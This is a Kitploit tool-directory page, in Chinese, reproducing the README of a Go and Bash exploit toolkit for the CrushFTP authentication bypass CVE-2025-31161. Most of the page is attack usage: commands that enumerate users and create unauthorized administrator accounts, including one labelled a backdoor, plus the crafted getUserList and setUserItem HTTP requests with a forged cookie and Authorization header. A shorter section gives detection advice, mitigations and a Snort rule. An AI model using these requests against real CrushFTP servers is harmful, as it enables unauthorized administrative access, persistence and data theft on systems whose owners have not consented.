Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CrushFTP-auth-bypass-CVE-2025-31161 — 针对CrushFTP CVE-2025-31161认证绕过的漏洞利用:通过Go和Bash中的精心构造HTTP请求,检测易受攻击的目标、枚举用户并创建未经授权的管理员账户。 | Kitploit
工具/GitHubGitHub/0xdtc/crushftp-auth-bypass-cve-2025-31161
身份验证与授权Payload生成漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试命令与控制学习与教育

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
红队
GitHub0xdtc/crushftp-auth-bypass-cve-2025-31161

CrushFTP-auth-bypass-CVE-2025-31161

针对CrushFTP CVE-2025-31161认证绕过的漏洞利用:通过Go和Bash中的精心构造HTTP请求,检测易受攻击的目标、枚举用户并创建未经授权的管理员账户。

查看仓库
411个月前尚未审核

CrushFTP 认证绕过 - CVE-2025-31161

License: MIT CVE Go Bash

一个用于利用 CVE-2025-31161 的综合性工具包,该漏洞是 CrushFTP 中的认证绕过漏洞,允许未经授权的用户账户创建。

🔍 什么是 CVE-2025-31161?

CVE-2025-31161 是 CrushFTP 中的一个严重认证绕过漏洞,允许攻击者在未经正确认证的情况下创建未经授权的用户账户。此漏洞存在于 Web 界面的用户管理功能中。

技术细节

  • CVSS 评分:待定
  • 受影响软件:CrushFTP Web 界面
  • 攻击向量:网络
  • 所需认证:无
  • 影响:通过创建未授权账户导致系统完全受损

🚀 功能

  • 多语言支持:Go 和 Bash 实现
  • 智能漏洞检测:在利用前自动检查目标是否易受攻击
  • 用户枚举:列出易受攻击目标上的现有用户
  • 用户创建:创建新的管理员账户
  • 交互模式:仅在目标确认易受攻击时提示输入凭据
  • 简短标志:使用 -t、-p、-tu 标志快速访问
  • 自定义端口支持:为不同部署场景配置端口
  • 教育重点:专为 CTF 挑战和安全研究设计

📁 仓库结构

root@kitploit:~
CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md                 # 本文档
├── cve-2025-31161.go        # Go 实现(推荐)
├── cve-2025-31161.sh        # Bash 实现
└── LICENSE                  # MIT 许可证

🛠️ 安装与要求

先决条件

对于 Go 版本(推荐)

root@kitploit:~
# 安装 Go(如果尚未安装)
sudo apt install golang-go
# 或
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

对于 Bash 版本

root@kitploit:~
# 需要 curl(通常预装)
sudo apt install curl

快速设置

root@kitploit:~
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh

🎯 使用方法

Go 版本(推荐)

列出用户

root@kitploit:~
# 使用简短标志的基本用法
go run cve-2025-31161.go -t example.com -lu

# 使用自定义端口
go run cve-2025-31161.go -t example.com -p 8080 -lu

# 长格式标志
go run cve-2025-31161.go --target_host example.com --port 8080 -lu

添加新用户

root@kitploit:~
# 创建新用户(将提示输入用户名/密码)
go run cve-2025-31161.go -t example.com -au

# 使用自定义目标用户(默认:crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au

# 长格式标志
go run cve-2025-31161.go --target_host example.com --target_user admin -au

Bash 版本

列出用户

root@kitploit:~
# 基本用法
./cve-2025-31161.sh -t example.com -lu

# 使用自定义端口
./cve-2025-31161.sh -t example.com -p 8080 -lu

添加新用户

root@kitploit:~
# 创建新用户
./cve-2025-31161.sh -t example.com -au

# 使用自定义设置
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au

可用标志

使用示例

root@kitploit:~
# 示例 1:枚举目标上的用户
go run cve-2025-31161.go -t ftp.example.htb -lu

# 示例 2:创建后门账户
go run cve-2025-31161.go -t ftp.example.htb -au
# 然后输入:用户名: backdoor, 密码: P@ssw0rd123

# 示例 3:非标准端口与用户枚举
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu

# 查看帮助
./cve-2025-31161.sh --help

🔄 工作原理

root@kitploit:~
flowchart TD
    A[开始利用] --> B[检查目标连通性]
    B --> C{目标可达?}
    C -->|否| D[退出:连接失败]
    C -->|是| E[发送 getUserList 请求]
    E --> F{响应包含 OK?}
    F -->|否| G[退出:不受影响]
    F -->|是| H[目标易受攻击!]
    H --> I{选择模式?}
    I -->|列出用户 -lu| J[解析 XML 响应]
    J --> K[显示用户列表]
    K --> L[退出:成功]
    I -->|添加用户 -au| M[提示输入用户名]
    M --> N[提示输入密码]
    N --> O[发送预热请求]
    O --> P[构造用户创建载荷]
    P --> Q[发送 setUserItem 请求]
    Q --> R{用户创建成功?}
    R -->|是| S[成功:账户已创建]
    R -->|否| T[失败:利用失败]

    style A fill:#e1f5fe
    style H fill:#c8e6c9
    style K fill:#81c784
    style S fill:#4caf50
    style D fill:#ffcdd2
    style G fill:#ffcdd2
    style T fill:#ffcdd2

🧪 利用流程详解

步骤 1:漏洞检测

脚本首先发送 getUserList 请求检查目标是否易受攻击:

root@kitploit:~
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

如果响应包含 <response_status>OK</response_status>,则目标易受攻击。

步骤 2a:用户枚举(列出用户模式)

当使用 -lu 标志时,脚本解析 XML 响应并提取用户名:

root@kitploit:~
<user_list type="vector">
    <user_list_subitem>ben</user_list_subitem>
    <user_list_subitem>crushadmin</user_list_subitem>
    <user_list_subitem>default</user_list_subitem>
</user_list>

输出:

root@kitploit:~
[+] 用户:
  - ben
  - crushadmin
  - default

步骤 2b:用户账户创建(添加用户模式)

当使用 -au 标志时,脚本发送带有恶意 XML 载荷的 setUserItem 请求:

root@kitploit:~
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If

步骤 3:验证

脚本检查响应中是否包含 <response_status>OK</response_status> 以确认用户创建成功。


⚠️ 漏洞详情

根本原因

该漏洞源于 CrushFTP Web 界面用户管理功能中对认证检查不充分。应用程序接受用户创建请求时未正确验证调用者的权限。

影响评估

  • 机密性:高 - 未经授权访问文件系统
  • 完整性:高 - 能够修改/上传文件
  • 可用性:中 - 可能导致资源耗尽

攻击场景

  1. 初始访问:创建后门账户以实现持久访问
  2. 权限提升:创建管理员级别的账户
  3. 数据窃取:通过 FTP 界面访问敏感文件
  4. 横向移动:将受感染的 FTP 服务器用作跳板

🛡️ 检测与缓解

检测方法

  • 监控 Web 日志中异常的 setUserItem 请求
  • 检查是否在正常流程之外创建了新用户账户
  • 实施针对认证绕过模式的异常检测

缓解策略

  1. 立即:阻止对 /webinterface/function/ 端点的访问
  2. 短期:更新到已修补的 CrushFTP 版本
  3. 长期:实施正确的认证控制

网络特征

root@kitploit:~
# Snort/Suricata 规则示例
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 利用尝试"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)

🎓 教育用途

CTF 场景

  • Web 应用程序安全:理解认证绕过漏洞
  • 渗透测试:演示真实的利用技术
  • 红队演习:模拟 APT 风格的攻击

学习目标

  • 理解 HTTP 请求操纵
  • XML 注入技术
  • 认证绕过方法
  • 多语言漏洞利用开发

🚨 法律免责声明

⚠️ 重要:本工具设计用于:

  • 教育目的
  • 授权的渗透测试
  • CTF 竞赛
  • 受控环境下的安全研究

请勿在未经明确书面许可的系统上使用。未经授权访问计算机系统是违法的,可能导致严重的法律后果。

🤝 贡献

欢迎贡献!请:

  1. Fork 本仓库
  2. 创建功能分支(git checkout -b feature/improvement)
  3. 提交更改(git commit -am '添加新功能')
  4. 推送到分支(git push origin feature/improvement)
  5. 创建 Pull Request

开发指南

  • 遵循现有代码风格
  • 添加全面注释
  • 在多个目标环境上测试
  • 为新功能更新文档

📝 版本历史

版本日期变更
1.0.02025-01-XX初始版本,包含 Go 和 Bash 实现
1.1.02025-01-XX交互模式和漏洞检测
1.2.02025-10-02添加用户枚举 (-lu)、分离添加用户模式 (-au)、简短标志 (-t、-p、-tu)

📚 参考

  • CVE-2025-31161 详情
  • CrushFTP 官方网站
  • OWASP 认证绕过
  • Immersive Labs 的原创研究

📧 联系方式

如有问题、建议或安全问题,请在本仓库中打开 issue。

下载工具
标志长格式描述默认值
-t--target_host目标主机名或 IP(必填)-
-p--port目标端口80
-tu--target_user用于利用的目标用户crushadmin
-lu--list-users列出现有用户-
-au--add-user添加新用户(交互式)-
--help显示帮助信息-